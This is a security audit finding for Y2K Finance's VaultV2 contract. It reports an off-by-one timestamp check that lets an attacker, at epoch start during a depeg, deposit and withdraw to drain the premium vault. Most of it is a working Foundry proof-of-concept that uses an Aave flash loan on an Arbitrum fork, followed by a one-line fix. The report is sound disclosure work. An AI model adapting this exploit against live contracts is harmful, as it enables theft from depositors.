b4by_y0d4

high

# Attacker can steal all the money in the premium vault at _epochBegin in the case of a depeg

## Summary
As soon as the epoch begins, should the TOKEN depeg, anyone can call controller.triggerDepeg to end the epoch and settle the accounting. However, exactly at _epochBegin it is also possible for anyone to call deposit on the vault and deposit more tokens. This upsets the claimTVL accounting that is locked in. So an attacker can flashloan the TOKEN being insured, deposit it, and immediately withdraw and steal the reserved funds for legitimate insurance buyers.

## Vulnerability Detail
In VaultV2.sol:

```solidity
function deposit(
    uint256 _id,
    uint256 _assets,
    address _receiver
  )
    public
    virtual
    override(SemiFungibleVault)
    epochIdExists(_id)
    epochHasNotStarted(_id) // <--------
    nonReentrant
  {
```

The epochHasNotStarted modifier is defined as:
```solidity
 modifier epochHasNotStarted(uint256 _id) {
    if (block.timestamp > epochConfig[_id].epochBegin)
      revert EpochAlreadyStarted();
    _;
```

The vulnerability is that the block.timestamp check should have an equal to (=):
```solidity
 if (block.timestamp >= epochConfig[_id].epochBegin)
```

The PoC below walks through a scenario where the TOKEN being insured has a drop in its peg when block.timestamp is equal to _epochBegin, and so an attacker can call the public controller.triggerDepeg(..) function, take a flash loan and deposit into the premium vault, and immediately withdraw, thereby stealing the money in the vault reserved for legitimate insurance buyers.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

import "./Helper.sol";
import "../../src/v2/VaultV2.sol";
import "../../src/v2/interfaces/IVaultV2.sol";
import "../../src/v2/Controllers/ControllerPeggedAssetV2.sol";
import "../../src/v2/VaultFactoryV2.sol";
import "../../src/v2/TimeLock.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";

interface IAAVEV3PoolAddressesProvider {
  function getPool() external view returns (address);
}

interface IAAVEV3Pool {
  function flashLoan(
    address receiverAddress,
    address[] calldata assets,
    uint256[] calldata amounts,
    uint256[] calldata interestRateModes,
    address behalfOf,
    bytes calldata params,
    uint16 referralCode
  ) external;
}

contract StealDepegTest is Helper, IERC1155Receiver {
  VaultFactoryV2 factory;
  ControllerPeggedAssetV2 controller;
  uint40 begin;
  uint40 end;
  uint16 public fee;
  uint256 public arbForkId;
  uint256 public depegStrike;
  uint256 public depegEpochId;
  IERC20 ARB_WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);
  string public ARBITRUM_RPC_URL = vm.envString("ALCHEMY_ARBITRUM_H");
  uint256 public depegMarketId;
  address public depegPremium;
  address public depegCollateral;
  TimeLock timelock;

  IAAVEV3Pool pool;

  uint256 private_key = 1;

  function setUp() public {
    arbForkId = vm.createFork(ARBITRUM_RPC_URL);
    vm.selectFork(arbForkId);
    UNDERLYING = USDC_TOKEN;

    vm.label(USDC_TOKEN, "ARB_USDC");

    timelock = new TimeLock(ADMIN);

    factory = new VaultFactoryV2(
      address(ARB_WETH),
      TREASURY,
      address(timelock)
    );

    controller = new ControllerPeggedAssetV2(
      address(factory),
      ARBITRUM_SEQUENCER,
      TREASURY
    );

    string memory name = string("USD Coin");
    string memory symbol = string("USDC");

    depegStrike = 1.2 ether;
    UNDERLYING = USDC_TOKEN;

    factory.whitelistController(address(controller));

    (depegPremium, depegCollateral, depegMarketId) = factory.createNewMarket(
      VaultFactoryV2.MarketConfigurationCalldata(
        USDC_TOKEN,
        depegStrike,
        USDC_CHAINLINK,
        UNDERLYING,
        name,
        symbol,
        address(controller)
      )
    );

    begin = uint40(block.timestamp + 1 days);
    end = uint40(block.timestamp + 3 days);
    fee = 50; // 0.5%

    (depegEpochId, ) = factory.createEpoch(depegMarketId, begin, end, fee);
  }

  function testStealOnDepeg() public {
    //this contract is the attacker
    vm.label(address(this), "ATTACKER");

    //legitimate insurance seller deposits 25k USDC into depegCollateral
    vm.label(vm.addr(private_key), "INSURANCE_SELLER");
    deposit_collateral(vm.addr(private_key), 25_000 * (10**6));

    private_key++;
    //legitimate insurance buyer deposits 1000 USD
    vm.label(vm.addr(private_key), "INSURANCE_BUYER");
    deposit_premium(vm.addr(private_key), 1_000 * (10**6));

    //fast forward to begin
    //the vulnerability is that the epoch has started
    //yet anyone can call triggerDepeg and also buy insurance
    //the vulnerability is that since epoch has started
    //no one should be able to deposit into depegPremium
    //but they can
    vm.warp(begin);

    //take a flash loan for the amount that is deposited
    //in depegPremium so we (attacker) can deposit the same amount
    //when block.timestamp is equal to begin (_epochBegin)
    IAAVEV3PoolAddressesProvider poolAddressesProvider = IAAVEV3PoolAddressesProvider(
        0xa97684ead0e402dC232d5A977953DF7ECBaB3CDb
      );
    pool = IAAVEV3Pool(poolAddressesProvider.getPool());
    address[] memory tokens = new address[](1);
    tokens[0] = USDC_TOKEN;
    uint256[] memory amounts = new uint256[](1);
    //we want to borrow the amount that is in depegPremium
    uint256 premium_balance = MintableToken(UNDERLYING).balanceOf(
      address(depegPremium)
    );
    amounts[0] = premium_balance + (premium_balance / 24);
    uint256[] memory modes = new uint256[](1);
    pool.flashLoan(address(this), tokens, amounts, modes, address(this), "", 0);
    //the flashLoan contract will give us the money and callback executeOperation below
  }

  function executeOperation(
    address[] memory,
    uint256[] memory amounts,
    uint256[] memory premiums,
    address initator,
    bytes calldata
  ) external returns (bool) {
    require(msg.sender == address(pool));
    require(initator == address(this));

    //if we are here, it means we have the amount we asked
    //for from the flashloan contract

    //issue depeg since price of USDC is below strike
    controller.triggerDepeg(depegMarketId, depegEpochId);

    MintableToken(UNDERLYING).approve(depegPremium, 2**256 - 1);

    //epoch has already started so this should not have go through
    //but it does
    VaultV2(depegPremium).deposit(depegEpochId, amounts[0], address(this));

    //attacker is able to withdraw immediately enjoying the
    //TVL shares that was meant for the legitimate INSURANCE_BUYER
    VaultV2(depegPremium).withdraw(
      depegEpochId,
      amounts[0],
      address(this),
      address(this)
    );

    //based on our constants, in this example, attacker walks
    //away with $25,911 USDC in profit
    MintableToken(UNDERLYING).approve(address(pool), amounts[0] + premiums[0]);
    console2.log(
      "ATTACKER profited these many USDC:",
      MintableToken(USDC_TOKEN).balanceOf(address(this)) / 10**6
    );

    return true;
  }

  function deposit_premium(address as_user, uint256 amount) internal {
    vm.startPrank(as_user);
    deal(UNDERLYING, as_user, amount);
    MintableToken(UNDERLYING).approve(depegPremium, 2**256 - 1);
    VaultV2(depegPremium).deposit(depegEpochId, amount, as_user);

    vm.stopPrank();
  }

  function deposit_collateral(address as_user, uint256 amount) internal {
    vm.startPrank(as_user);
    deal(UNDERLYING, as_user, amount);
    MintableToken(UNDERLYING).approve(depegCollateral, 2**256 - 1);
    VaultV2(depegCollateral).deposit(depegEpochId, amount, as_user);
    vm.stopPrank();
  }

  function withdraw_premium(address as_user, uint256 amount) internal {
    vm.startPrank(as_user);
    VaultV2(depegPremium).withdraw(depegEpochId, amount, as_user, as_user);
    vm.stopPrank();
  }

  function withdraw_collateral(address as_user, uint256 amount) internal {
    vm.startPrank(as_user);
    VaultV2(depegCollateral).withdraw(depegEpochId, amount, as_user, as_user);
    vm.stopPrank();
  }

  function onERC1155Received(
    address,
    address,
    uint256,
    uint256,
    bytes memory
  ) public virtual returns (bytes4) {
    return this.onERC1155Received.selector;
  }

  function onERC1155BatchReceived(
    address,
    address,
    uint256[] memory,
    uint256[] memory,
    bytes memory
  ) public virtual returns (bytes4) {
    return this.onERC1155BatchReceived.selector;
  }

  function supportsInterface(bytes4) external pure returns (bool) {
    return true;
  }
}
```

## Impact
Attacker can steal all the money in the premium vault should a depeg event occur right at the start of the epoch.

## Code Snippet
https://github.com/Y2K-Finance/Earthquake/blob/736b2e1e51bef6daa6a5ecd1decb7d156316d795/src/v2/VaultV2.sol#L432

## Tool used
Forge/foundry

Manual Review

## Recommendation
In VaultV2.sol, change the modifier  epochHasNotStarted to check for >=:
```solidity
if (block.timestamp >= epochConfig[_id].epochBegin)
```
 
